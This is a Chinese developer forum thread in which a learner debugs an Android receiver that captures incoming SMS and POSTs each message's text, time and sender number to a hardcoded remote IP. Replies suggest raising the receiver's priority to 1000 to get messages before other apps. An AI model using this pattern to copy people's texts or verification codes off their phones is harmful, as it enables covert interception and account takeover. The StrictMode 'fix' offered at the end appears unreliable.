按视频写了个广播接收者的代码,可监听收到的短信。但是我的出了问题,Log中test1和test2都没内容这是AndroidManifest.xml的代码<manifest
xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.sms_listener"
android:versionCode="1"
android:versionName="1.0">
<uses-permission android:name="android.permission.RECEIVE_SMS" /> <!-- 接收短信权限 -->
<uses-permission android:name="android.permission.INTERNET" />
<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="17" />
<application
android:icon="@drawable/ic_launcher"
android:label="@string/app_name">
<receiver android:name=".SMS_BroadcastReceiver">
<intent-filter>
<action android:name="android.provide.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
</application>
</manifest>
这是SMS_BroadcastReceiver的代码package com.example.smslistener;import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;
import android.util.Log;public class SMS_BroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Log.i("test1", "hello");
// TODO Auto-generated method stub
Object[] pdus = (Object[]) intent.getExtras().get("pdus");
try {
for (Object p : pdus) {
byte[] pdu = (byte[]) p;
String path = "http://110.65.97.74:8080/web/ReceiveSmsServlet";
SmsMessage message = SmsMessage.createFromPdu(pdu);
String content = message.getMessageBody();
Log.i("test2", content);
Date date = new Date(message.getTimestampMillis());
String receiveTime = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(date);
String senderNumber = message.getOriginatingAddress();
StringBuilder params = new StringBuilder();
Map<String, String> paramsMap = new HashMap<String, String>();
paramsMap.put("content", content);
paramsMap.put("receivetime", receiveTime);
paramsMap.put("sendernumber", senderNumber);
for (Map.Entry<String, String> entry : paramsMap.entrySet()) {
params.append(entry.getKey());
params.append("=");
params.append(URLEncoder.encode(entry.getValue(), "UTF-8"));// 对提交的中文参数进行编码
params.append("&");
}
params.deleteCharAt(params.length() - 1);
sendPostRequest(path, params.toString());
}
} catch (Exception e) {
// TODO: handle exception
e.printStackTrace();
}
} private boolean sendPostRequest(String path, String params) throws Exception {
// TODO Auto-generated method stub
byte[] entity = params.getBytes();// 生成实体数据
HttpURLConnection conn = (HttpURLConnection) new URL(path).openConnection();
conn.setConnectTimeout(500);
conn.setRequestMethod("POST");
conn.setDoOutput(true); // 允许对外输出数据
conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
conn.setRequestProperty("Content-Length", String.valueOf(entity.length));
conn.getOutputStream().write(entity);
if (conn.getResponseCode() == 200) {
return true;
}
return false;
}
}
AndroidBroadcastReceiver异常

解决方案 »

  1.   

    短信是有序广播,就是说如果你优先级不够,而有优先级比你的程序高的程序拦截了短信广播(它先收到广播,然后终止广播),这样你是收不到的<intent-filter android:priority="1000" >
    可以试试这样能行不   再不行你就看看你装了啥比较NB的安全软件,卸载了再验证你的程序
      

  2.   

    卡了一整天,终于找到问题。。
    1.android.provide.Telephony.SMS_RECEIVED, provide少加了个r
    2. 在android 4.0后,在主线程里面执行Http请求需要这两个API
    StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder().detectDiskReads().detectDiskWrites().detectNetwork().penaltyLog().build());
    StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder().detectLeakedSqlLiteObjects().detectLeakedClosableObjects().penaltyLog().penaltyDeath().build());